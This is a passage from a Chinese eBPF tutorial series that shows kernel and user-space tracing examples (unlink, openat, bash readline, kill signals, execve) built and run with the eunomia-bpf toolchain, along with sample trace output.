接下来,我们定义一个名为BPF_KPROBE(do_unlinkat)的 kprobe,当进入do_unlinkat函数时,它会被触发。该函数接受两个参数:dfd(文件描述符)和name(文件名结构体指针)。在这个 kprobe 中,我们获取当前进程的 PID(进程标识符),然后读取文件名。最后,我们使用bpf_printk函数在内核日志中打印 PID 和文件名。
SEC("kprobe/do_unlinkat")
int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)
{
pid_t pid;
const char *filename;
pid = bpf_get_current_pid_tgid() >> 32;
filename = BPF_CORE_READ(name, name);
bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename);
return 0;
}
接下来,我们定义一个名为BPF_KRETPROBE(do_unlinkat_exit)的 kretprobe,当从do_unlinkat函数退出时,它会被触发。这个 kretprobe 的目的是捕获函数的返回值(ret)。我们再次获取当前进程的 PID,并使用bpf_printk函数在内核日志中打印 PID 和返回值。
SEC("kretprobe/do_unlinkat")
int BPF_KRETPROBE(do_unlinkat_exit, long ret)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() >> 32;
bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret);
return 0;
}
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。
要编译这个程序,请使用 ecc 工具:
$ ecc kprobe-link.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
然后运行:
sudo ecli run package.json
在另外一个窗口中:
touch test1
rm test1
touch test2
rm test2
在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的 kprobe 演示输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1
rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0
rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2
rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0
总结
通过本文的示例,我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门开发实践教程三:在 eBPF 中使用 fentry 监测捕获 unlink 系统调用
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
本文是 eBPF 入门开发实践教程的第三篇,在 eBPF 中使用 fentry 捕获 unlink 系统调用。
Fentry
fentry(function entry)和 fexit(function exit)是 eBPF(扩展的伯克利包过滤器)中的两种探针类型,用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。
与 kprobes 相比,fentry 和 fexit 程序有更高的性能和可用性。在这个例子中,我们可以直接访问函数的指针参数,就像在普通的 C 代码中一样,而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于,fexit 程序可以访问函数的输入参数和返回值,而 kretprobe 只能访问返回值。从 5.5 内核开始,fentry 和 fexit 对 eBPF 程序可用。
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
char LICENSE[] SEC("license") = "Dual BSD/GPL";
SEC("fentry/do_unlinkat")
int BPF_PROG(do_unlinkat, int dfd, struct filename *name)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() >> 32;
bpf_printk("fentry: pid = %d, filename = %s\n", pid, name->name);
return 0;
}
SEC("fexit/do_unlinkat")
int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() >> 32;
bpf_printk("fexit: pid = %d, filename = %s, ret = %ld\n", pid, name->name, ret);
return 0;
}
这段程序是用 C 语言编写的 eBPF(扩展的伯克利包过滤器)程序,它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 do_unlinkat。在这个教程中,我们将以这段程序作为示例,让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。
程序包含以下部分:
- 包含头文件:包括 vmlinux.h(用于访问内核数据结构)、bpf/bpf_helpers.h(包含eBPF帮助函数)、bpf/bpf_tracing.h(用于eBPF跟踪相关功能)。
- 定义许可证:这里定义了一个名为
LICENSE的字符数组,包含许可证信息“Dual BSD/GPL”。 - 定义 fentry 探针:我们定义了一个名为
BPF_PROG(do_unlinkat)的 fentry 探针,该探针在do_unlinkat函数的入口处被触发。这个探针获取当前进程的 PID(进程ID)并将其与文件名一起打印到内核日志。 - 定义 fexit 探针:我们还定义了一个名为
BPF_PROG(do_unlinkat_exit)的 fexit 探针,该探针在do_unlinkat函数的退出处被触发。与 fentry 探针类似,这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。
通过这个示例,您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用,例如在本教程中的 unlink 系统调用。
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
编译运行上述代码:
$ ecc fentry-link.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
在另外一个窗口中:
touch test_file
rm test_file
touch test_file2
rm test_file2
运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file
rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0
rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2
rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0
总结
这段程序是一个 eBPF 程序,通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数,并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值,并在内核日志中打印出来。
编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令,并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门开发实践教程四:在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid
eBPF(Extended Berkeley Packet Filter)是一种内核执行环境,它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大,是因为它能够在内核运行时捕获和修改数据包或者系统调用,从而实现对操作系统行为的监控和调整。
本文是 eBPF 入门开发实践教程的第四篇,主要介绍如何捕获进程打开文件的系统调用集合,并使用全局变量在 eBPF 中过滤进程 pid。
在 Linux 系统中,进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口,它们允许用户态程序请求内核执行特定操作。在本教程中,我们关注的是 sys_openat 系统调用,它用于打开文件。
当进程打开一个文件时,它会向内核发出 sys_openat 系统调用,并传递相关参数(例如文件路径、打开模式等)。内核会处理这个请求,并返回一个文件描述符(file descriptor),这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用,我们可以了解进程在什么时候以及如何打开文件。
在 eBPF 中捕获进程打开文件的系统调用集合
首先,我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用,具体实现如下:
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
/// @description "Process ID to trace"
const volatile int pid_target = 0;
SEC("tracepoint/syscalls/sys_enter_openat")
int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)
{
u64 id = bpf_get_current_pid_tgid();
u32 pid = id >> 32;
if (pid_target && pid_target != pid)
return false;
// Use bpf_printk to print the process information
bpf_printk("Process ID: %d enter sys openat\n", pid);
return 0;
}
/// "Trace open family syscalls."
char LICENSE[] SEC("license") = "GPL";
这段 eBPF 程序实现了:
- 引入头文件:<vmlinux.h> 包含了内核数据结构的定义,<bpf/bpf_helpers.h> 包含了 eBPF 程序所需的辅助函数。
- 定义全局变量
pid_target,用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 - 使用
SEC宏定义一个 eBPF 程序,关联到 tracepoint "tracepoint/syscalls/sys_enter_openat"。这个 tracepoint 会在进程发起sys_openat系统调用时触发。 - 实现 eBPF 程序
tracepoint__syscalls__sys_enter_openat,它接收一个类型为struct trace_event_raw_sys_enter的参数ctx。这个结构体包含了关于系统调用的信息。 - 使用
bpf_get_current_pid_tgid()函数获取当前进程的 PID 和 TID(线程 ID)。由于我们只关心 PID,所以将其值右移 32 位赋值给u32类型的变量pid。 - 检查
pid_target变量是否与当前进程的 pid 相等。如果pid_target不为 0 且与当前进程的 pid 不相等,则返回false,不对该进程的sys_openat调用进行捕获。 - 使用
bpf_printk()函数打印捕获到的进程 ID 和sys_openat调用的相关信息。这些信息可以在用户空间通过 BPF 工具查看。 - 将程序许可证设置为 "GPL",这是运行 eBPF 程序的必要条件。
这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程(或所有进程)的 sys_openat 系统调用,并在用户空间输出相关信息。
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。完整代码请查看 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/4-opensnoop 。
编译运行上述代码:
$ ecc opensnoop.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
<...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat
<...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat
此时,我们已经能够捕获进程打开文件的系统调用了。
使用全局变量在 eBPF 中过滤进程 pid
全局变量在 eBPF 程序中充当一种数据共享机制,它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。
在我们的例子中,全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值,以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。
使用全局变量的原理是,全局变量在 eBPF 程序的数据段(data section)中定义并存储。当 eBPF 程序加载到内核并执行时,这些全局变量会保持在内核中,可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性,如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info,获取 eBPF 对象的信息,包括全局变量的位置和值。
可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息:
$ ecli package.json -h
Usage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR]
Trace open family syscalls.
Optional arguments:
-h, --help shows help message and exits
-v, --version prints version information and exits
--verbose prints libbpf debug information
--pid_target Process ID to trace
Built with eunomia-bpf framework.
See https://github.com/eunomia-bpf/eunomia-bpf for more information.
可以通过 --pid_target 选项来指定要捕获的进程的 pid,例如:
$ sudo ./ecli run package.json --pid_target 618
Runing eBPF program...
运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
<...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat
<...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat
总结
本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中,我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID,并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中,我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid,从而过滤输出,只输出指定的进程的信息。
通过学习本教程,您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。
更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门开发实践教程五:在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
本文是 eBPF 入门开发实践教程的第五篇,主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。
什么是uprobe
uprobe是一种用户空间探针,uprobe探针允许在用户空间程序中动态插桩,插桩位置包括:函数入口、特定偏移处,以及函数返回处。当我们定义uprobe时,内核会在附加的指令上创建快速断点指令(x86机器上为int3指令),当程序执行到该指令时,内核将触发事件,程序陷入到内核态,并以回调函数的方式调用探针函数,执行完探针函数再返回到用户态继续执行后序的指令。
uprobe基于文件,当一个二进制文件中的一个函数被跟踪时,所有使用到这个文件的进程都会被插桩,包括那些尚未启动的进程,这样就可以在全系统范围内跟踪系统调用。
uprobe适用于在用户态去解析一些内核态探针无法解析的流量,例如http2流量(报文header被编码,内核无法解码),https流量(加密流量,内核无法解密)。具体可以参考 eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据 中的例子。
Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 bpftime。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。
使用 uprobe 捕获 bash 的 readline 函数调用
uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针,我们可以通过它来捕获用户空间程序调用的系统函数。
例如,我们可以使用 uprobe 来捕获 bash 的 readline 函数调用,从而获取用户在 bash 中输入的命令行。示例代码如下:
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#define TASK_COMM_LEN 16
#define MAX_LINE_SIZE 80
/* Format of u[ret]probe section definition supporting auto-attach:
* u[ret]probe/binary:function[+offset]
*
* binary can be an absolute/relative path or a filename; the latter is resolved to a
* full binary path via bpf_program__attach_uprobe_opts.
*
* Specifying uprobe+ ensures we carry out strict matching; either "uprobe" must be
* specified (and auto-attach is not possible) or the above format is specified for
* auto-attach.
*/
SEC("uretprobe//bin/bash:readline")
int BPF_KRETPROBE(printret, const void *ret)
{
char str[MAX_LINE_SIZE];
char comm[TASK_COMM_LEN];
u32 pid;
if (!ret)
return 0;
bpf_get_current_comm(&comm, sizeof(comm));
pid = bpf_get_current_pid_tgid() >> 32;
bpf_probe_read_user_str(str, sizeof(str), ret);
bpf_printk("PID %d (%s) read: %s ", pid, comm, str);
return 0;
};
char LICENSE[] SEC("license") = "GPL";
这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数,即 printret 函数。
在 printret 函数中,我们首先获取了调用 readline 函数的进程的进程名称和进程 ID,然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串,最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。
除此之外,我们还需要通过 SEC 宏来定义 uprobe 探针,并使用 BPF_KRETPROBE 宏来定义探针函数。
在 SEC 宏中,我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如,上面的代码中的 SEC 宏的定义如下:
SEC("uprobe//bin/bash:readline")
这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。
接下来,我们需要使用 BPF_KRETPROBE 宏来定义探针函数,例如:
BPF_KRETPROBE(printret, const void *ret)
这里的 printret 是探针函数的名称,const void *ret 是探针函数的参数,它代表被捕获的函数的返回值。
然后,我们使用了 bpf_get_current_comm 函数获取当前任务的名称,并将其存储在 comm 数组中。
bpf_get_current_comm(&comm, sizeof(comm));
使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID,并将其存储在 pid 变量中。
pid = bpf_get_current_pid_tgid() >> 32;
使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值,并将其存储在 str 数组中。
bpf_probe_read_user_str(str, sizeof(str), ret);
最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。
bpf_printk("PID %d (%s) read: %s ", pid, comm, str);
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
编译运行上述代码:
$ ecc bashreadline.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff
bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff
可以看到,我们成功的捕获了 bash 的 readline 函数调用,并获取了用户在 bash 中输入的命令行。
总结
在上述代码中,我们使用了 SEC 宏来定义了一个 uprobe 探针,它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外,我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值,并将其打印到内核日志中。通过这样的方式,我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用,并获取用户在 bash 中输入的命令行。
更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门开发实践教程六:捕获进程发送信号的系统调用集合,使用 hash map 保存状态
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
本文是 eBPF 入门开发实践教程的第六篇,主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。
sigsnoop
示例代码如下:
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#define MAX_ENTRIES 10240
#define TASK_COMM_LEN 16
struct event {
unsigned int pid;
unsigned int tpid;
int sig;
int ret;
char comm[TASK_COMM_LEN];
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u32);
__type(value, struct event);
} values SEC(".maps");
static int probe_entry(pid_t tpid, int sig)
{
struct event event = {};
__u64 pid_tgid;
__u32 tid;
pid_tgid = bpf_get_current_pid_tgid();
tid = (__u32)pid_tgid;
event.pid = pid_tgid >> 32;
event.tpid = tpid;
event.sig = sig;
bpf_get_current_comm(event.comm, sizeof(event.comm));
bpf_map_update_elem(&values, &tid, &event, BPF_ANY);
return 0;
}
static int probe_exit(void *ctx, int ret)
{
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 tid = (__u32)pid_tgid;
struct event *eventp;
eventp = bpf_map_lookup_elem(&values, &tid);
if (!eventp)
return 0;
eventp->ret = ret;
bpf_printk("PID %d (%s) sent signal %d ",
eventp->pid, eventp->comm, eventp->sig);
bpf_printk("to PID %d, ret = %d",
eventp->tpid, ret);
cleanup:
bpf_map_delete_elem(&values, &tid);
return 0;
}
SEC("tracepoint/syscalls/sys_enter_kill")
int kill_entry(struct trace_event_raw_sys_enter *ctx)
{
pid_t tpid = (pid_t)ctx->args[0];
int sig = (int)ctx->args[1];
return probe_entry(tpid, sig);
}
SEC("tracepoint/syscalls/sys_exit_kill")
int kill_exit(struct trace_event_raw_sys_exit *ctx)
{
return probe_exit(ctx, ctx->ret);
}
char LICENSE[] SEC("license") = "Dual BSD/GPL";
上面的代码定义了一个 eBPF 程序,用于捕获进程发送信号的系统调用,包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件,并在这些事件发生时执行指定的探针函数,例如 probe_entry 和 probe_exit。
在探针函数中,我们使用 bpf_map 存储捕获的事件信息,包括发送信号的进程 ID、接收信号的进程 ID、信号值和进程的可执行文件名称。在系统调用退出时,我们将获取存储在 bpf_map 中的事件信息,并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。
最后,我们还需要使用 SEC 宏来定义探针,并指定要捕获的系统调用的名称,以及要执行的探针函数。
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
编译运行上述代码:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
或者
$ ecc sigsnoop.bpf.c
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0
systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0
systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0
systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3
总结
本文主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。使用 hash map 需要定义一个结构体:
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u32);
__type(value, struct event);
} values SEC(".maps");
并使用一些对应的 API 进行访问,例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。
更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门实践教程七:捕获进程执行事件,通过 perf event array 向用户态打印输出
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
本文是 eBPF 入门开发实践教程的第七篇,主要介绍如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。
perf buffer
eBPF 提供了两个环形缓冲区,可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区,,它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。
execsnoop
通过 perf event array 向用户态命令行打印输出,需要编写一个头文件,一个 C 源文件。示例代码如下:
头文件:execsnoop.h
#ifndef __EXECSNOOP_H
#define __EXECSNOOP_H
#define TASK_COMM_LEN 16
struct event {
int pid;
int ppid;
int uid;
int retval;
bool is_exit;
char comm[TASK_COMM_LEN];
};
#endif /* __EXECSNOOP_H */
源文件:execsnoop.bpf.c
// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include "execsnoop.h"
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(".maps");
SEC("tracepoint/syscalls/sys_enter_execve")
int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)
{
u64 id;
pid_t pid, tgid;
struct event event={0};
struct task_struct *task;
uid_t uid = (u32)bpf_get_current_uid_gid();
id = bpf_get_current_pid_tgid();
tgid = id >> 32;
event.pid = tgid;
event.uid = uid;
task = (struct task_struct*)bpf_get_current_task();
event.ppid = BPF_CORE_READ(task, real_parent, tgid);
char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]);
bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr);
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
return 0;
}
char LICENSE[] SEC("license") = "GPL";
这段代码定义了个 eBPF 程序,用于捕获进程执行 execve 系统调用的入口。
在入口程序中,我们首先获取了当前进程的进程 ID 和用户 ID,然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体,并通过 bpf_probe_read_str 函数读取了进程名称。最后,我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。
使用这段代码,我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
使用容器编译:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
或者使用 ecc 编译:
ecc execsnoop.bpf.c execsnoop.h
运行
$ sudo ./ecli run package.json
TIME PID PPID UID COMM
21:28:30 40747 3517 1000 node
21:28:30 40748 40747 1000 sh
21:28:30 40749 3517 1000 node
21:28:30 40750 40749 1000 sh
21:28:30 40751 3517 1000 node
21:28:30 40752 40751 1000 sh
21:28:30 40753 40752 1000 cpuUsage.sh
总结
本文介绍了如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中,定义这样一个结构体和对应的头文件:
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(".maps");
就可以往用户态直接发送信息。
更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门开发实践教程八:在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件。
ring buffer
现在有一个新的 BPF 数据结构可用,eBPF 环形缓冲区(ring buffer)。它解决了 BPF perf buffer(当今从内核向用户空间发送数据的事实上的标准)的内存效率和事件重排问题,同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移,又有新的保留/提交API,具有更好的可用性。另外,合成和真实世界的基准测试表明,在几乎所有的情况下,所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。
eBPF ringbuf vs eBPF perfbuf
